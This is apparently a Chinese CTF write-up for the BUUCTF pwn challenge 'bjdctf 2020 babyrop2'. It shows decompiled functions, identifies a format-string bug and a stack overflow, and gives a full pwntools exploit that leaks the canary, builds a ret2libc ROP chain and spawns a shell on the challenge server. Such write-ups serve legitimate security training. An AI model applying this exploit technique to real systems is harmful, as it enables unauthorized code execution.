bjdctf 2020 babyrop2

# bjdctf 2020 babyrop2

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/bjdctf_2020_babyrop2/bjdctf_2020_babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  gift();
  vuln();
  return 0;
}

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init函数如下

unsigned __int64 init()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Can u return to libc ?");
  puts("Try u best!");
  return __readfsqword(0x28u) ^ v0;
}

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gift函数如下

unsigned __int64 gift()
{
  char format; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", &format);
  printf(&format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

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vuln函数如下

unsigned __int64 vuln()
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, &buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}

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部分函数表如下

bjdctf_2020_babyrop2_1

# 思路分析

目前信息：
- vuln函数可溢出
- gift函数有格式化字符串漏洞
- 无system、/bin/sh与后门函数
- Canary found
- NX enabled
- No PIE
思路：
- 典型的64位ret2libc，但需要绕过Canary防护，这里gift函数中的格式化字符串漏洞可以帮助我们泄漏Canary

# exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/bjdctf_2020_babyrop2/bjdctf_2020_babyrop2'
io = remote('node4.buuoj.cn', 26351)
# io = process(pwnfile)
elf = ELF(pwnfile)
format = b'%7$p\x00'
io.sendlineafter('give u some gift to help u!\n', format)
Canary = int(io.recvuntil('\n', drop=True), 16) # 泄漏Canary
success('Canary:'+hex(Canary))
padding = 0x20+8
libc_start_main_addr = elf.got['__libc_start_main']
puts_addr = elf.plt['puts']
vuln_addr = elf.symbols['vuln']
pop_rdi_ret = 0x400993
payload = flat(['a'*(padding-0x10), Canary, 'a'*8, pop_rdi_ret,libc_start_main_addr, puts_addr, vuln_addr])
io.sendlineafter('me u story!\n', payload)
leak_libc_start_main_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('leak_libc_start_main_addr:'+hex(leak_libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main_addr)
libcbase = leak_libc_start_main_addr-libc.dump('__libc_start_main')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
payload = flat(['a'*(padding-0x10), Canary, 'a'*8,pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('u story!\n', payload)
io.interactive()

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#buuctf #pwn #FormatString #StackOverflow

上次更新: 2022/08/15, 00:29:49

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